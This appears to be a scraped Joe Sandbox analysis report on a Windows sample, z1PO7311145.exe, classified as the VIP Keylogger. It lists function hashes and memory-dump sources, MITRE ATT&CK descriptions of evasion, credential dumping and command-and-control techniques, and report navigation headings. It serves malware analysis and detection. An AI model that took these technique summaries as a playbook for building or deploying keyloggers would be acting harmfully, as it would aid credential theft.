Snapshot File: hcaresult_0_2_6b30000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b13bd7c724103f3cb6c0d6ec9f200b16cac40dc6445594d517ef46c058540985
Instruction ID: 32e9db03724bf00317a9ba2ea6fcd1980dfa3e6632e6b3110b80308bb3e2dc5d
Opcode Fuzzy Hash: b13bd7c724103f3cb6c0d6ec9f200b16cac40dc6445594d517ef46c058540985
Instruction Fuzzy Hash: A191B2B1F006198FDB68EFB5C85069DBBF2EF88310F108569D415A7390EB708D05CB90

Function 06B35022 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3705579671.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b30000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21f848031ba1b4c70a4655a3bebd734332cdbd01d50c5e113ab95750edaf79a6
Instruction ID: 92fd948d75aa7190fb8894972bd88f3328ea0460d5c7326f136761653fc07288
Opcode Fuzzy Hash: 21f848031ba1b4c70a4655a3bebd734332cdbd01d50c5e113ab95750edaf79a6
Instruction Fuzzy Hash: 7BA1F571E106198FDB60DFA9C84479DFBB1EF89304F14C2AAE45867261EB709A85CF81

Function 02DA3AA1 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92ca30c11ca54c6bb66cce462863dc09b0af79d4d5aee79cf2cf529ddeead314
Instruction ID: e9fa86979ebc63a479fc14e714d4eaed33e81932b025691c2df79c9cd55e2d5b
Opcode Fuzzy Hash: 92ca30c11ca54c6bb66cce462863dc09b0af79d4d5aee79cf2cf529ddeead314
Instruction Fuzzy Hash: DD511D316896D19FEB524F3A44B03C77FB29ECB22938E54FACCC146416C91D285EDB61

Function 06B30006 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3705579671.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b30000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b8e6cd6ccbaafaacf03bc286d790316361d1c60695b33783db0fa9c3eebd9ff
Instruction ID: d67e6d9c1ac395a4c3d425f155d7cc94e1b08936d04789a841a075415f159dad
Opcode Fuzzy Hash: 2b8e6cd6ccbaafaacf03bc286d790316361d1c60695b33783db0fa9c3eebd9ff
Instruction Fuzzy Hash: 1371D474E01259CFEB69DF66D850BADBBB2BF88200F14C1A9C409AB355EB305D86DF50

Function 02DAF2C0 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c836fadcf060d8c1a1b80926c6d41c77dced52e22454aad97d151594bd2d2eda
Instruction ID: af2ca73b24d7dfaac10f31322abd95c9041eec487e1ee1a3ece666031fd6beb8
Opcode Fuzzy Hash: c836fadcf060d8c1a1b80926c6d41c77dced52e22454aad97d151594bd2d2eda
Instruction Fuzzy Hash: 93510274D01208CFDB14EFA9D4A4B9EBBB2BB89300F14C169D404AB798CB7A9D85CB54

Function 02DAF52F Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d88aef8040f0937eacb53a80683ac4c81e46a8edecf20d6e01f353f486d2df4
Instruction ID: 15072ba9f2f1af6659f9cdd2087a3cdfcf985ba42450e0118ef86a98b8885594
Opcode Fuzzy Hash: 7d88aef8040f0937eacb53a80683ac4c81e46a8edecf20d6e01f353f486d2df4
Instruction Fuzzy Hash: B5511274D05208CFDB11EFA8D4A4BADBBB2FB49300F2491A9D045AB795C77A9C81CF64

Function 02DAF4AC Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a76af488346b3a6fb57ed3c715a7c6c49238e012ee20efbb2695f3f508d92ada
Instruction ID: e6bb2299dc6d45c27cdbd82ec7e5be4adedc5289a5945df289f3e07bf8dac146
Opcode Fuzzy Hash: a76af488346b3a6fb57ed3c715a7c6c49238e012ee20efbb2695f3f508d92ada
Instruction Fuzzy Hash: 8C510E74D01208CFDB10EFA8D4A4BADBBB2FB49304F2491A9D055AB794C77A9D81CF64

Function 06B3D999 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3705579671.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b30000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a509ccc6e2ecb0745d11aa3bc40a4db48bb7a8f233a91997badc531365fd8159
Instruction ID: f8275ab8100ffb79a4848c617c6d7d07204d8530af9c09b35584e34e024f0ac1
Opcode Fuzzy Hash: a509ccc6e2ecb0745d11aa3bc40a4db48bb7a8f233a91997badc531365fd8159
Instruction Fuzzy Hash: 2D4126B0E042588FDB98DFBAC8546DDBBB2AF89300F24D16AC414BB269DB355946CF00

Function 06B38B96 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3705579671.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b30000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2451bbd292da5f6f28393fdd00b490cf41fff631b85b58321f4b51246120a972
Instruction ID: f77384027e3ce60727113e6681fa36d1fe197ec310469d58c9ed9ee8e8d88607
Opcode Fuzzy Hash: 2451bbd292da5f6f28393fdd00b490cf41fff631b85b58321f4b51246120a972
Instruction Fuzzy Hash: C641E7B1E006189BEB18CFAAD8883CEBBF2BF88314F14C16AD408AB294DB744545CF51

Function 06B3D0E9 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3705579671.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b30000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 177332f96d239279510cafabac11fa43c0c93723e00cacae79789eedb6484bc1
Instruction ID: ab4f3d282cbc823b37c93069e89900a17c2d2dbe5562b1531cb119e3d3957d99
Opcode Fuzzy Hash: 177332f96d239279510cafabac11fa43c0c93723e00cacae79789eedb6484bc1
Instruction Fuzzy Hash: 464114B4E01258CBDB68DFBAD95069EBBB2AF89300F20D16AC418BB255DB345946CF50

Function 06B3E24A Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3705579671.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b30000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffbd4cc579bea1bcb9bdabe73d50583251aec5b2526f01b2c9e4fffdba0a5640
Instruction ID: 4cbd00ce1b6bd3745d3c413f592308469e531c6fc75e594acfa691cea37986f0
Opcode Fuzzy Hash: ffbd4cc579bea1bcb9bdabe73d50583251aec5b2526f01b2c9e4fffdba0a5640
Instruction Fuzzy Hash: A14106B0E00218CFEB98DFAAD9546DEBBF2AF89300F20D16AC414BB254DB345946CF40

Function 06B3F802 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3705579671.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b30000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67a2949a6aaf6694fd52d472a2a55a7d9ef24efbdef59ebc0bca7cfd4c8fc24f
Instruction ID: 831e0e605b6e2e31e1e5b10ac53ae04bf85172ed1fc2593f4b4f9ee6e5375951
Opcode Fuzzy Hash: 67a2949a6aaf6694fd52d472a2a55a7d9ef24efbdef59ebc0bca7cfd4c8fc24f
Instruction Fuzzy Hash: F54115B0E00218CBDB58DFEAD9506EDBBB2AF89300F20D16AC414BB355DB355946CF40

Function 06B3EAF8 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3705579671.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b30000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ad44dc40d4144756782dce944da677abfd40cb8e38a75de3e6d3c0886217101
Instruction ID: 963ed9a631137c5c84361d2ac18fd68242d445d8e2175a30e52ef1bf66a0d99c
Opcode Fuzzy Hash: 6ad44dc40d4144756782dce944da677abfd40cb8e38a75de3e6d3c0886217101
Instruction Fuzzy Hash: 0B41E6B0E00218CBEB58DFAAD9546DEBBF2BF88300F20D16AC414BB254DB345946CF40

Function 06B3EF51 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3705579671.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b30000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 729639f2229be35a84d387a3d4d664c6ff71de35db387916313267ac4200b40d
Instruction ID: 88d2ea4d9ac5df8c73f0ee8ef9c86721e63c642185f07803e5cdb5674d7cd87b
Opcode Fuzzy Hash: 729639f2229be35a84d387a3d4d664c6ff71de35db387916313267ac4200b40d
Instruction Fuzzy Hash: DE41F5B0E00218CBEB58DFBAD8506EDBBF2AF89300F24D16AC414BB254DB355945CF44

Function 06B3D540 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3705579671.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b30000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2812579b724748994a79a8440bfe07e742c92bd7f99af5499528e5b3be40fb5
Instruction ID: 8bdf27b3730052c096abb24f9de295aadae360ea795cbf37eddc73a76f23be63
Opcode Fuzzy Hash: a2812579b724748994a79a8440bfe07e742c92bd7f99af5499528e5b3be40fb5
Instruction Fuzzy Hash: 624106B0E00218CBEB98DFAAD9546DEBBF2AF89300F60D16AC418BB355DB345945CF44

Function 06B3E6A0 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3705579671.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b30000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82becd4df29f8cc56e0aca31f3a1dae397ff00c0aa7dcac6b388fbeef0612256
Instruction ID: f181a97ed4cfe235f4e40ee3de20d19b1bcb4fc1e48960e1ad21268bb98da073
Opcode Fuzzy Hash: 82becd4df29f8cc56e0aca31f3a1dae397ff00c0aa7dcac6b388fbeef0612256
Instruction Fuzzy Hash: 2241D3B4E00218CBEB58DFAAD9506DEBBB2AF89300F20D16AC414BB259DB345946CF44

Function 02DA39ED Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3970821d37f1f4c2b38b73b5721a232bfe0333e9a531b27aa874713e04646c5
Instruction ID: 5c1cb62875e7a87bfe0608d1d038f9e3acbfd7a2c3a32cddd177d155b2ddd0b6
Opcode Fuzzy Hash: b3970821d37f1f4c2b38b73b5721a232bfe0333e9a531b27aa874713e04646c5
Instruction Fuzzy Hash: DF11A42218A7C18FEB924A3940F42D77FB68ECB12934A64EA8CC146417C81E745FE774

Function 02DA6920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;q, xrefs: 02DA6936
\;q, xrefs: 02DA6952
\;q, xrefs: 02DA695E
\;q, xrefs: 02DA692C

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID: \;q$\;q$\;q$\;q
API String ID: 0-2933265366
Opcode ID: cb0b582404824802d10577b74b767e23e0913e3279c9d21ca09811138677ac9d
Instruction ID: 0fd83b20ef4bab57e03955dae845e0c85978f46df490a6603c3920aa211c5f78
Opcode Fuzzy Hash: cb0b582404824802d10577b74b767e23e0913e3279c9d21ca09811138677ac9d
Instruction Fuzzy Hash: 12012C36700115CFCF288A2DC564E2577EABF886A572D416AE946CB374DB31EC41C7D1

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report z1PO7311145.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
z1PO7311145.exe

Function 02DA7118 Relevance: 6.6, Strings: 5, Instructions: 350
COMMON

Function 02DA29EC Relevance: 5.5, Strings: 4, Instructions: 487
COMMON

Function 02DA69B0 Relevance: 3.1, Strings: 2, Instructions: 563
COMMON

Function 02DAC148 Relevance: 2.7, Strings: 2, Instructions: 226
COMMON

Function 02DA5362 Relevance: 2.7, Strings: 2, Instructions: 191
COMMON

Function 02DAC468 Relevance: 2.7, Strings: 2, Instructions: 186
COMMON

Function 02DACA08 Relevance: 2.7, Strings: 2, Instructions: 186
COMMON

Function 02DAD278 Relevance: 2.7, Strings: 2, Instructions: 185
COMMON

Function 02DACCD8 Relevance: 2.7, Strings: 2, Instructions: 185
COMMON

Function 02DAC738 Relevance: 2.7, Strings: 2, Instructions: 184
COMMON

Function 02DA76F1 Relevance: 10.5, Strings: 8, Instructions: 472
COMMON

Function 02DA6498 Relevance: 2.7, Strings: 2, Instructions: 231
COMMON